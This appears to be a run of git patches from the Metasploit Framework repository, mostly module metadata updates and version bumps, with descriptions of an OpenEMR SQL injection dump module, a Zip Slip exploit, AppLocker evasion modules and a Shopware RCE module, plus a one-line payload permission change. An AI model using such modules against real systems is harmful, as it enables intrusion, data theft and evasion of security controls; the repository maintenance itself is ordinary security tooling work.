module_metadata_base.json update --- db/modules_metadata_base.json | 47 +++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 2fe6db1b0b..8171a39ca2 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -45304,6 +45304,53 @@ }, "needs_cleanup": false }, + "auxiliary_sqli/openemr/openemr_sqli_dump": { + "name": "OpenEMR 5.0.1 Patch 6 SQLi Dump", + "fullname": "auxiliary/sqli/openemr/openemr_sqli_dump", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2019-05-17", + "type": "auxiliary", + "author": [ + "Will Porter " + ], + "description": "This module exploits a SQLi vulnerability found in\n OpenEMR version 5.0.1 Patch 6 and lower. The\n vulnerability allows the contents of the entire\n database (with exception of log and task tables) to be\n extracted.\n This module saves each table as a `.csv` file in your\n loot directory and has been tested with\n OpenEMR 5.0.1 (3).", + "references": [ + "CVE-2018-17179", + "URL-https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2019-09-11 15:56:46 +0000", + "path": "/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb", + "is_install_path": true, + "ref_name": "sqli/openemr/openemr_sqli_dump", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, "auxiliary_sqli/oracle/dbms_cdc_ipublish": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE", "fullname": "auxiliary/sqli/oracle/dbms_cdc_ipublish", From 644988750ee9e78e4997c3374df05b1263f8e797 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Thu, 12 Sep 2019 07:43:54 -0500 Subject: [PATCH 205/217] change permission on payload --- modules/exploits/multi/fileformat/zip_slip.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/fileformat/zip_slip.rb b/modules/exploits/multi/fileformat/zip_slip.rb index a24a03d087..c8aa354b5d 100644 --- a/modules/exploits/multi/fileformat/zip_slip.rb +++ b/modules/exploits/multi/fileformat/zip_slip.rb @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote path = Rex::FileUtils.normalize_unix_path(fname) tar = StringIO.new Rex::Tar::Writer.new(tar) do |t| - t.add_file(path, 0644) do |f| + t.add_file(path, 0777) do |f| f.write(payload) end end From c62cb1691cf244e32f2e458505333182095888c1 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Sep 2019 07:55:14 -0500 Subject: [PATCH 206/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 40 +++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 8171a39ca2..ab97b6170a 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -65662,6 +65662,46 @@ }, "needs_cleanup": null }, + "exploit_multi/fileformat/zip_slip": { + "name": "Generic Zip Slip Traversal Vulnerability", + "fullname": "exploit/multi/fileformat/zip_slip", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": "2018-06-05", + "type": "exploit", + "author": [ + "Snyk", + "sinn3r " + ], + "description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.", + "references": [ + "URL-https://snyk.io/research/zip-slip-vulnerability" + ], + "platform": "Linux,Unix,Windows", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Manually determined" + ], + "mod_time": "2019-09-12 07:43:54 +0000", + "path": "/modules/exploits/multi/fileformat/zip_slip.rb", + "is_install_path": true, + "ref_name": "multi/fileformat/zip_slip", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_multi/ftp/pureftpd_bash_env_exec": { "name": "Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)", "fullname": "exploit/multi/ftp/pureftpd_bash_env_exec", From f48a065d6d74ef10c4b3f4c76362d3058aec57b2 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Sep 2019 12:05:18 -0500 Subject: [PATCH 207/217] Bump version of framework to 5.0.48 --- Gemfile.lock | 10 +++++----- LICENSE_GEMS | 14 +++++++------- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 398546650c..75cd49134c 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.47) + metasploit-framework (5.0.48) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -115,13 +115,13 @@ GEM arel-helpers (2.10.0) activerecord (>= 3.1.0, < 7) aws-eventstream (1.0.3) - aws-partitions (1.208.0) - aws-sdk-core (3.66.0) + aws-partitions (1.211.0) + aws-sdk-core (3.67.0) aws-eventstream (~> 1.0, >= 1.0.2) aws-partitions (~> 1.0) aws-sigv4 (~> 1.1) jmespath (~> 1.0) - aws-sdk-ec2 (1.106.0) + aws-sdk-ec2 (1.108.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) aws-sdk-iam (1.29.0) @@ -351,7 +351,7 @@ GEM rubyntlm windows_error rubyntlm (0.6.2) - rubyzip (1.2.3) + rubyzip (1.2.4) sawyer (0.8.2) addressable (>= 2.3.5) faraday (> 0.8, < 2.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 815d2cac4c..bb09448d6c 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -10,9 +10,9 @@ afm, 0.2.2, MIT arel, 6.0.4, MIT arel-helpers, 2.10.0, MIT aws-eventstream, 1.0.3, "Apache 2.0" -aws-partitions, 1.208.0, "Apache 2.0" -aws-sdk-core, 3.66.0, "Apache 2.0" -aws-sdk-ec2, 1.106.0, "Apache 2.0" +aws-partitions, 1.211.0, "Apache 2.0" +aws-sdk-core, 3.67.0, "Apache 2.0" +aws-sdk-ec2, 1.108.0, "Apache 2.0" aws-sdk-iam, 1.29.0, "Apache 2.0" aws-sdk-kms, 1.24.0, "Apache 2.0" aws-sdk-s3, 1.48.0, "Apache 2.0" @@ -53,9 +53,9 @@ loofah, 2.2.3, MIT metasm, 1.0.4, LGPL-2.1 metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.47, "New BSD" +metasploit-framework, 5.0.48, "New BSD" metasploit-model, 2.0.4, "New BSD" -metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD" +metasploit-payloads, 1.3.77, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.10, "New BSD" metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD" method_source, 0.9.2, MIT @@ -105,7 +105,7 @@ rex-powershell, 0.1.82, "New BSD" rex-random_identifier, 0.1.4, "New BSD" rex-registry, 0.1.3, "New BSD" rex-rop_builder, 0.1.3, "New BSD" -rex-socket, 0.1.17, "New BSD" +rex-socket, 0.1.20, "New BSD" rex-sslscan, 0.1.5, "New BSD" rex-struct2, 0.1.2, "New BSD" rex-text, 0.2.23, "New BSD" @@ -122,7 +122,7 @@ ruby-macho, 2.2.0, MIT ruby-rc4, 0.1.5, MIT ruby_smb, 1.1.0, "New BSD" rubyntlm, 0.6.2, MIT -rubyzip, 1.2.3, "Simplified BSD" +rubyzip, 1.2.4, "Simplified BSD" sawyer, 0.8.2, MIT simplecov, 0.17.0, MIT simplecov-html, 0.10.2, MIT diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 8cc516280e..d20a6bce0a 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.47" + VERSION = "5.0.48" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From a9a2ce2f6a3ce5fb77923e848f9996f924af68a1 Mon Sep 17 00:00:00 2001 From: todb-r7 Date: Thu, 12 Sep 2019 16:09:32 -0500 Subject: [PATCH 208/217] Add correct CVE for shopware module In PR #11828, the module author requested, and got, a new CVE for this issue. The module should reflect that. --- .../multi/http/shopware_createinstancefromnamedarguments_rce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb b/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb index 6100fd4ef7..6fd0b845ef 100644 --- a/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb +++ b/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb @@ -32,6 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2019-12799'], # yes really, assigned per request ['CVE', '2017-18357'], # not really because we bypassed this patch ['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation ], From de1bf2e715bf5d1535739e80cea094278c1cc199 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Sep 2019 17:49:21 -0500 Subject: [PATCH 209/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 36 +++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index ab97b6170a..3b9cefbed8 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -48034,6 +48034,42 @@ }, "needs_cleanup": false }, + "evasion_windows/applocker_evasion_presentationhost": { + "name": "Applocker Evasion - Windows Presentation Foundation Host", + "fullname": "evasion/windows/applocker_evasion_presentationhost", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "evasion", + "author": [ + "Nick Tyrer <@NickTyrer>", + "Casey Smith" + ], + "description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binary\n PresentationHost.exe to execute user supplied code.", + "references": [ + + ], + "platform": "Windows", + "arch": "x86", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": [ + "Microsoft Windows" + ], + "mod_time": "2019-08-03 10:41:13 +0000", + "path": "/modules/evasion/windows/applocker_evasion_presentationhost.rb", + "is_install_path": true, + "ref_name": "windows/applocker_evasion_presentationhost", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, "evasion_windows/applocker_evasion_workflow_compiler": { "name": "Applocker Evasion - Microsoft Workflow Compiler", "fullname": "evasion/windows/applocker_evasion_workflow_compiler", From 18f21bb3a745342539239734ab2e0a3136d47c3d Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 16 Sep 2019 09:21:03 -0500 Subject: [PATCH 210/217] Bump version of framework to 5.0.49 --- Gemfile.lock | 8 ++++---- LICENSE_GEMS | 8 ++++---- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 75cd49134c..88ea98926d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.48) + metasploit-framework (5.0.49) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -115,13 +115,13 @@ GEM arel-helpers (2.10.0) activerecord (>= 3.1.0, < 7) aws-eventstream (1.0.3) - aws-partitions (1.211.0) + aws-partitions (1.212.0) aws-sdk-core (3.67.0) aws-eventstream (~> 1.0, >= 1.0.2) aws-partitions (~> 1.0) aws-sigv4 (~> 1.1) jmespath (~> 1.0) - aws-sdk-ec2 (1.108.0) + aws-sdk-ec2 (1.109.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) aws-sdk-iam (1.29.0) @@ -378,7 +378,7 @@ GEM ttfunk (1.5.1) tzinfo (1.2.5) thread_safe (~> 0.1) - tzinfo-data (1.2019.2) + tzinfo-data (1.2019.3) tzinfo (>= 1.0.0) warden (1.2.7) rack (>= 1.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index bb09448d6c..7a416aece5 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -10,9 +10,9 @@ afm, 0.2.2, MIT arel, 6.0.4, MIT arel-helpers, 2.10.0, MIT aws-eventstream, 1.0.3, "Apache 2.0" -aws-partitions, 1.211.0, "Apache 2.0" +aws-partitions, 1.212.0, "Apache 2.0" aws-sdk-core, 3.67.0, "Apache 2.0" -aws-sdk-ec2, 1.108.0, "Apache 2.0" +aws-sdk-ec2, 1.109.0, "Apache 2.0" aws-sdk-iam, 1.29.0, "Apache 2.0" aws-sdk-kms, 1.24.0, "Apache 2.0" aws-sdk-s3, 1.48.0, "Apache 2.0" @@ -53,7 +53,7 @@ loofah, 2.2.3, MIT metasm, 1.0.4, LGPL-2.1 metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.48, "New BSD" +metasploit-framework, 5.0.49, "New BSD" metasploit-model, 2.0.4, "New BSD" metasploit-payloads, 1.3.77, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.10, "New BSD" @@ -137,7 +137,7 @@ tilt, 2.0.9, MIT timecop, 0.9.1, MIT ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0" tzinfo, 1.2.5, MIT -tzinfo-data, 1.2019.2, MIT +tzinfo-data, 1.2019.3, MIT warden, 1.2.7, MIT windows_error, 0.1.2, BSD xdr, 2.0.0, "Apache 2.0" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index d20a6bce0a..9bc85760e5 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.48" + VERSION = "5.0.49" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 440c82b3e2e43574cc14d52c3cf0a0255bb835ca Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 18 Sep 2019 12:20:16 -0500 Subject: [PATCH 211/217] Fix broken `ps1` and `powershell` transform --- lib/msf/base/simple/buffer.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 33ce28ee1f..c09dbc8378 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -88,6 +88,8 @@ module Buffer buf = Rex::Text.to_js_comment(buf) when 'java' buf = Rex::Text.to_c_comment(buf) + when 'powershell','ps1' + buf = Rex::Text.to_psh_comment(buf) else raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller end From 2716687f0d1e273b47083ee0f3309cbd946415a2 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Wed, 18 Sep 2019 14:58:21 -0500 Subject: [PATCH 212/217] Bump rex-text to 0.2.24 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 88ea98926d..56e98ca716 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -317,7 +317,7 @@ GEM rex-socket rex-text rex-struct2 (0.1.2) - rex-text (0.2.23) + rex-text (0.2.24) rex-zip (0.1.3) rex-text rkelly-remix (0.0.7) From ce8e85d573fca5ea1bf17bd686b4c9f09333937d Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 18 Sep 2019 15:08:40 -0500 Subject: [PATCH 213/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 36 +++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 3b9cefbed8..c9a66460fd 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -48070,6 +48070,42 @@ }, "needs_cleanup": false }, + "evasion_windows/applocker_evasion_regasm_regsvcs": { + "name": "Applocker Evasion - Microsoft .NET Assembly Registration Utility", + "fullname": "evasion/windows/applocker_evasion_regasm_regsvcs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "evasion", + "author": [ + "Nick Tyrer <@NickTyrer>", + "Casey Smith" + ], + "description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binaries\n RegAsm.exe or RegSvcs.exe to execute user supplied code.", + "references": [ + "URL-https://attack.mitre.org/techniques/T1121/" + ], + "platform": "Windows", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": [ + "Microsoft Windows" + ], + "mod_time": "2019-08-08 18:36:36 +0000", + "path": "/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb", + "is_install_path": true, + "ref_name": "windows/applocker_evasion_regasm_regsvcs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, "evasion_windows/applocker_evasion_workflow_compiler": { "name": "Applocker Evasion - Microsoft Workflow Compiler", "fullname": "evasion/windows/applocker_evasion_workflow_compiler", From 0e9a2d13ac3e71a177e66e1714960e6a0ea17627 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 18 Sep 2019 22:12:28 -0500 Subject: [PATCH 214/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index c9a66460fd..90644ba51c 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -73042,6 +73042,7 @@ ], "description": "This module exploits a php object instantiation vulnerability that can lead to RCE in\n Shopware. An authenticated backend user could exploit the vulnerability.\n\n The vulnerability exists in the createInstanceFromNamedArguments function, where the code\n insufficiently performs whitelist check which can be bypassed to trigger an object injection.\n\n An attacker can leverage this to deserialize an arbitrary payload and write a webshell to\n the target system, resulting in remote code execution.\n\n Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.", "references": [ + "CVE-2019-12799", "CVE-2017-18357", "URL-https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/" ], @@ -73066,7 +73067,7 @@ "targets": [ "Automatic" ], - "mod_time": "2019-05-17 18:20:59 +0000", + "mod_time": "2019-09-12 16:09:32 +0000", "path": "/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb", "is_install_path": true, "ref_name": "multi/http/shopware_createinstancefromnamedarguments_rce", From 6d1ee46bba102ee742d2e50b6c55d436fdd61c7f Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 19 Sep 2019 12:04:38 -0500 Subject: [PATCH 215/217] Bump version of framework to 5.0.50 --- Gemfile.lock | 10 +++++----- LICENSE_GEMS | 12 ++++++------ lib/metasploit/framework/version.rb | 2 +- 3 files changed, 12 insertions(+), 12 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 56e98ca716..9e154b0c1b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.49) + metasploit-framework (5.0.50) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -115,8 +115,8 @@ GEM arel-helpers (2.10.0) activerecord (>= 3.1.0, < 7) aws-eventstream (1.0.3) - aws-partitions (1.212.0) - aws-sdk-core (3.67.0) + aws-partitions (1.215.0) + aws-sdk-core (3.68.0) aws-eventstream (~> 1.0, >= 1.0.2) aws-partitions (~> 1.0) aws-sigv4 (~> 1.1) @@ -124,7 +124,7 @@ GEM aws-sdk-ec2 (1.109.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) - aws-sdk-iam (1.29.0) + aws-sdk-iam (1.30.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) aws-sdk-kms (1.24.0) @@ -355,7 +355,7 @@ GEM sawyer (0.8.2) addressable (>= 2.3.5) faraday (> 0.8, < 2.0) - simplecov (0.17.0) + simplecov (0.17.1) docile (~> 1.1) json (>= 1.8, < 3) simplecov-html (~> 0.10.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 7a416aece5..e2b4e6dbac 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -10,10 +10,10 @@ afm, 0.2.2, MIT arel, 6.0.4, MIT arel-helpers, 2.10.0, MIT aws-eventstream, 1.0.3, "Apache 2.0" -aws-partitions, 1.212.0, "Apache 2.0" -aws-sdk-core, 3.67.0, "Apache 2.0" +aws-partitions, 1.215.0, "Apache 2.0" +aws-sdk-core, 3.68.0, "Apache 2.0" aws-sdk-ec2, 1.109.0, "Apache 2.0" -aws-sdk-iam, 1.29.0, "Apache 2.0" +aws-sdk-iam, 1.30.0, "Apache 2.0" aws-sdk-kms, 1.24.0, "Apache 2.0" aws-sdk-s3, 1.48.0, "Apache 2.0" aws-sigv4, 1.1.0, "Apache 2.0" @@ -53,7 +53,7 @@ loofah, 2.2.3, MIT metasm, 1.0.4, LGPL-2.1 metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.49, "New BSD" +metasploit-framework, 5.0.50, "New BSD" metasploit-model, 2.0.4, "New BSD" metasploit-payloads, 1.3.77, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.10, "New BSD" @@ -108,7 +108,7 @@ rex-rop_builder, 0.1.3, "New BSD" rex-socket, 0.1.20, "New BSD" rex-sslscan, 0.1.5, "New BSD" rex-struct2, 0.1.2, "New BSD" -rex-text, 0.2.23, "New BSD" +rex-text, 0.2.24, "New BSD" rex-zip, 0.1.3, "New BSD" rkelly-remix, 0.0.7, MIT rspec, 3.8.0, MIT @@ -124,7 +124,7 @@ ruby_smb, 1.1.0, "New BSD" rubyntlm, 0.6.2, MIT rubyzip, 1.2.4, "Simplified BSD" sawyer, 0.8.2, MIT -simplecov, 0.17.0, MIT +simplecov, 0.17.1, MIT simplecov-html, 0.10.2, MIT sinatra, 1.4.8, MIT sqlite3, 1.3.13, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 9bc85760e5..9713a61acb 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.49" + VERSION = "5.0.50" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 4431476ec46bf861eab79ab8ef9aa1cdb51eda60 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 19 Sep 2019 15:04:09 -0500 Subject: [PATCH 216/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 90644ba51c..b96562d28a 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -38647,7 +38647,8 @@ "EsMnemon ", "Arnaud SOULLIE ", "Alexandrine TORRENTS ", - "Mathieu CHEVALIER " + "Mathieu CHEVALIER ", + "AZSG " ], "description": "This module allows reading and writing data to a PLC using the Modbus protocol.\n This module is based on the 'modiconstop.rb' Basecamp module from DigitalBond,\n as well as the mbtget perl script.", "references": [ @@ -38663,7 +38664,7 @@ ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-07 23:54:43 +0000", "path": "/modules/auxiliary/scanner/scada/modbusclient.rb", "is_install_path": true, "ref_name": "scanner/scada/modbusclient", From 5b8c97c4f752442ae5e2227dbb390330f322bfcc Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 20 Sep 2019 16:26:44 -0500 Subject: [PATCH 217/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index b96562d28a..05f1560de5 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -161633,7 +161633,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-08 00:11:11 +0000", "path": "/modules/post/multi/gather/resolve_hosts.rb", "is_install_path": true, "ref_name": "multi/gather/resolve_hosts",